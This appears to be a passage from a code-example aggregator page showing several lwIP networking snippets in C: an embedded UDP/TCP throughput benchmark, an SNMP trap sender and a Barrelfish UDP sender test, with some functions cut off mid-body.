     remote_pcb = udp_new();
    
     if(!remote_pcb)
         vTaskDelete(NULL);  /*FSL: error during buffer creation*/

#if BENCHMARK_SEND_TO_PC
//**********************************TX***********************************//
     {  
       uint16 i;
       /*client mode: connect to this server address*/
       struct ip_addr ServerIPAddr;
       struct pbuf *p; 
       
       /*Fill the array*/
       for(i=0;i<sizeof(array);i++)
         array[i] = i%256;//dummy sequence
       
       /*Server IP address to connect*/
       IP4_ADDR(&ServerIPAddr,192,168,0,1);

       printf("Starting UDP TX Client\n");
    
       if( udp_connect(remote_pcb, &ServerIPAddr, (u16_t)BENCHMARK_PORT) != ERR_OK )
         vTaskDelete(NULL);  /*FSL: error during socket creation*/
    
       if( (p = pbuf_alloc(PBUF_TRANSPORT,0,PBUF_REF)) == NULL )
         vTaskDelete(NULL);  /*FSL: error during buffer creation*/
    
       p->payload = &array[0];
       p->len = p->tot_len = BENCHMARK_PACKET_LENGTH;
    
       /*FSL: send selected number of packets*/
       for(pkt_counter=0;pkt_counter<BENCHMARK_NUMBER_OF_PACKETS;pkt_counter++)
       {
          if( udp_send(remote_pcb, p) != ERR_OK )
            break;//error: abort
       }
    
       /*FSL: send ending frames*/
       p->len = p->tot_len = 1;
       /*FSL: send 10 times*/
       udp_send(remote_pcb, p);
       udp_send(remote_pcb, p);
       udp_send(remote_pcb, p);
       udp_send(remote_pcb, p);
       udp_send(remote_pcb, p);
       udp_send(remote_pcb, p);
       udp_send(remote_pcb, p);
       udp_send(remote_pcb, p);
       udp_send(remote_pcb, p);
       udp_send(remote_pcb, p);
    
       //FSL: remove connection
       pbuf_free(p);
       udp_remove(remote_pcb);
    
       printf("Leaving UDP Tx Benchmark Test\n");
       vTaskDelete(NULL);  /*FSL: task no longer needed*/
     }
#else
//**********************************RX***********************************//
     {
       printf("Starting UDP RX Server\n");
       
       PIT_TCTRL0 = PIT_TCTRL_TEN_MASK;//enable timer
       PIT_MCR &= ~PIT_MCR_MDIS_MASK;
       PIT_LDVAL0 = 0xFFFFFFFF;//max value
       load_value = PIT_LDVAL0;
       PIT_TCTRL0 = 0;
    
       if( udp_bind(remote_pcb, IP_ADDR_ANY, BENCHMARK_PORT) != ERR_OK )
         printf("Wrong bind to UDP port\n");
       udp_recv(remote_pcb, udp_receive_fnc, NULL);
       /*Task no longer needed*/
       vTaskDelete(NULL);
     }
#endif
    } 
#else
//**********************************TCP**********************************//
    
#if BENCHMARK_SEND_TO_PC
//**********************************TX***********************************//
    {
      struct netconn *conn;
      uint16 i;
    
      /*client mode: connect to this server address*/
      struct ip_addr ServerIPAddr;
      
      /*Fill the array*/
      for(i=0;i<sizeof(array);i++)
         array[i] = i%256;//dummy sequence
      
      /*Server IP address to connect*/
      IP4_ADDR(&ServerIPAddr,192,168,0,1);
      
      printf("Starting TCP Tx Benchmark Test\n");

      /*FSL: wait forever until getting a connection to a valid server*/
      do
      {
        printf("Trying to connect to server...\n");
        
        /* Create a new TCP PCB. */
        conn = netconn_new(NETCONN_TCP);

        /*client connection*/
        if( netconn_connect(conn, &ServerIPAddr, (uint16)BENCHMARK_PORT) != ERR_OK )
        {
          /*close connection for a new SYN process*/
          netconn_close(conn);
          netconn_delete(conn);
          vTaskDelay(2000);
        }
        else
          break;
      }
      while(1);/*infinite loop until getting a valid SYN/SYN-ACK/ACK*/

      printf("Connected to server\n");
      
      /*FSL: send selected number of packets*/
      pkt_counter = BENCHMARK_NUMBER_OF_PACKETS;//will send in a moment
      
      /*FSL: only send when connection is established, otherwise close*/
      while( pkt_counter-- )
      {
        netconn_write(conn, &array[0], sizeof(array), NETCONN_NOCOPY);
      }
      
      /*FSL: no more packets*/
      netconn_close(conn);
      netconn_delete(conn);
      
      printf("Leaving TCP Tx Benchmark Test\n");
      
      /*FSL: good bye*/
      vTaskDelete(NULL);
    }
#else
//**********************************RX***********************************//
  for(;;)
  {
    struct netconn *conn, *newconn;
    struct netbuf *inbuf;
    uint32 total_length_received = 0;
    double final_result;
      
    /* Create a new TCP PCB. */
    conn = netconn_new(NETCONN_TCP);
      
    if( netconn_bind(conn,IP_ADDR_ANY,(uint16)BENCHMARK_PORT) != ERR_OK )
    {
        /*close connection for a new SYN process*/
        netconn_close(conn);
        netconn_delete(conn);
        /*FSL: good bye*/
        vTaskDelete(NULL);
    }
        
      printf("Starting TCP Rx Benchmark Test\n");
      
      /* Put the connection into LISTEN state. */
      netconn_listen(conn);
      
      PIT_TCTRL0 = PIT_TCTRL_TEN_MASK;//enable timer
      PIT_MCR &= ~PIT_MCR_MDIS_MASK;
      PIT_LDVAL0 = 0xFFFFFFFF;//max value
      load_value = PIT_LDVAL0;
      PIT_TCTRL0 = 0;
      
      /* waiting for connection from client */
      newconn = netconn_accept(conn);
      
      PIT_TCTRL0 = PIT_TCTRL_TEN_MASK;//enable timer
      
      for(;;)
      {
        if( (inbuf = netconn_recv(newconn)) != NULL )
        {
           /*data is not touch: inbuf->ptr and inbuf->ptr->tot_len*/
           total_length_received += inbuf->ptr->tot_len;
           /*free pbuf memory*/
           netbuf_delete(inbuf);
        }
        else
        {
           current_timer = PIT_CVAL0;//get last time
           break;/*connection closed*/
        }
      }

      /*FSL: no more packets*/
      netconn_close(newconn);
      netconn_delete(newconn);
      
      netconn_close(conn);
      netconn_delete(conn);
      
      /*calculate*/
      time_sfw = (load_value + 1 - current_timer);
      PIT_TCTRL0 = 0;//stop the timer
        
      printf("Benchmark results for TCP Rx:\n\n");
      printf("Number of bytes received = %d\n",total_length_received);
      printf("Number of ticks = %d\n",time_sfw);
      printf("Frequency of ticks = %d\n",(configCPU_CLOCK_HZ/2));
      printf("Calculate benchmark: Bytes/sec\n\n");
      
      final_result = (double)total_length_received * (configCPU_CLOCK_HZ/2) /(double)time_sfw;
      printf("Measured throughput is %9.2f Bytes/sec\n",final_result);
  }
#endif
#endif
}
コード例 #29
0
ファイル: msg_out.c プロジェクト: comrid1987/jb3500
/**
 * Sends an generic or enterprise specific trap message.
 *
 * @param generic_trap is the trap code
 * @param eoid points to enterprise object identifier
 * @param specific_trap used for enterprise traps when generic_trap == 6
 * @return ERR_OK when success, ERR_MEM if we're out of memory
 *
 * @note the caller is responsible for filling in outvb in the trap_msg
 * @note the use of the enterpise identifier field
 * is per RFC1215.
 * Use .iso.org.dod.internet.mgmt.mib-2.snmp for generic traps
 * and .iso.org.dod.internet.private.enterprises.yourenterprise
 * (sysObjectID) for specific traps.
 */
err_t
snmp_send_trap(s8_t generic_trap, struct snmp_obj_id *eoid, s32_t specific_trap)
{
  struct snmp_trap_dst *td;
  struct netif *dst_if;
  struct ip_addr dst_ip;
  struct pbuf *p;
  u16_t i,tot_len;

  for (i=0, td = &trap_dst[0]; i<SNMP_TRAP_DESTINATIONS; i++, td++)
  {
    if ((td->enable != 0) && (td->dip.addr != 0))
    {
      /* network order trap destination */
      trap_msg.dip.addr = td->dip.addr;
      /* lookup current source address for this dst */
      dst_if = ip_route(&td->dip);
      dst_ip.addr = ntohl(dst_if->ip_addr.addr);
      trap_msg.sip_raw[0] = dst_ip.addr >> 24;
      trap_msg.sip_raw[1] = dst_ip.addr >> 16;
      trap_msg.sip_raw[2] = dst_ip.addr >> 8;
      trap_msg.sip_raw[3] = dst_ip.addr;
      trap_msg.gen_trap = generic_trap;
      trap_msg.spc_trap = specific_trap;
      if (generic_trap == SNMP_GENTRAP_ENTERPRISESPC)
      {
        /* enterprise-Specific trap */
        trap_msg.enterprise = eoid;
      }
      else
      {
        /* generic (MIB-II) trap */
        snmp_get_snmpgrpid_ptr(&trap_msg.enterprise);
      }
      snmp_get_sysuptime(&trap_msg.ts);

      /* pass 0, calculate length fields */
      tot_len = snmp_varbind_list_sum(&trap_msg.outvb);
      tot_len = snmp_trap_header_sum(&trap_msg, tot_len);

      /* allocate pbuf(s) */
      p = pbuf_alloc(PBUF_TRANSPORT, tot_len, PBUF_POOL);
      if (p != NULL)
      {
        u16_t ofs;

        /* pass 1, encode packet ino the pbuf(s) */
        ofs = snmp_trap_header_enc(&trap_msg, p);
        snmp_varbind_list_enc(&trap_msg.outvb, p, ofs);

        snmp_inc_snmpouttraps();
        snmp_inc_snmpoutpkts();

        /** connect to the TRAP destination */
        udp_connect(trap_msg.pcb, &trap_msg.dip, SNMP_TRAP_PORT);
        udp_send(trap_msg.pcb, p);
        /** disassociate remote address and port with this pcb */
        udp_disconnect(trap_msg.pcb);

        pbuf_free(p);
      }
      else
      {
        return ERR_MEM;
      }
    }
  }
コード例 #30
0
ファイル: udp_test.c プロジェクト: CoryXie/BarrelfishOS
static void
udp_sender(struct udp_pcb *upcb, struct ip_addr recv_ip,
        uint16_t recv_port)
{
    uint64_t driver_delta;
    uint64_t cl;

    struct pbuf *p = NULL;
    printf("U: Going in UDP_SENDER mode\n");

    // connect with peer
    errval_t r = udp_connect(upcb, &recv_ip, recv_port);
    if (err_is_fail(r)) {
        DEBUG_ERR(r, "udp_connect:");
    }

#ifndef TEST_BUFFER_MANAGEMENT
    // create a pbuf
    printf("U: Testing without buffer manager\n");
    p = get_pbuf_wrapper();
    printf("U: pbuf len %"PRIu16", tot_len %"PRIu16"\n",
            p->len, p->tot_len);
    void *payload_ptr = p->payload;

    // Set the data to zero
    memset(p->payload, 'd', p->len);
#else
    printf("U: Testing *with* buffer manager!\n");
#endif // TEST_BUFFER_MANAGEMENT

    refresh_cache(&recv_ip);

    printf("U: Trying to send %"PRIu64" packets\n", iterations);

    lwip_benchmark_control(connection_type, BMS_START_REQUEST, iterations, 0);
    wait_for_driver_ready();
    start_tx = rdtsc();

    // send data
//    for (iter = 0; iter < iterations; ++iter) {
    iter = 0;
    while (1) {
//        wait_for_lwip();

#ifdef TEST_BUFFER_MANAGEMENT
        p = get_pbuf_wrapper();
#else
        /* resetting the values as they will be changed by
         * pbuf_header function */
        p->len = MAX_DATA;
        p->tot_len = MAX_DATA;
        p->payload = payload_ptr;
#endif // TEST_BUFFER_MANAGEMENT

        r = udp_send(upcb, p);
        if (err_is_fail(r)) {
            ++failed;
//            printf("udp_send failed(%"PRIu64") for iter %"PRIu64"\n",
//                    failed, iter);

//            DEBUG_ERR(r, "udp_send:");
            wait_for_lwip();
        } // end if: failed
        else {
            ++iter;
        }
//        printf("Sent packet no. %"PRIu64"\n", i);


#ifdef TEST_BUFFER_MANAGEMENT
        pbuf_free(p);
#endif // TEST_BUFFER_MANAGEMENT

        if (iter == (iterations)) {
            driver_delta = 0;
            break;
        }

        if (check_for_driver_done(&driver_delta, &cl) == true) {
            break;
        }

    } // end while :

    lwip_benchmark_control(connection_type, BMS_STOP_REQUEST, 0, 0);

    while (check_for_driver_done(&driver_delta, &cl) == false) {
        r = event_dispatch(ws);
        if (err_is_fail(r)) {
            DEBUG_ERR(r, "in event_dispatch");
            break;
        }
    }

    uint64_t stop_tx = rdtsc();
    stop_benchmark(stop_tx, driver_delta, cl);
    wait_for_lwip();
} // end function: udp_sender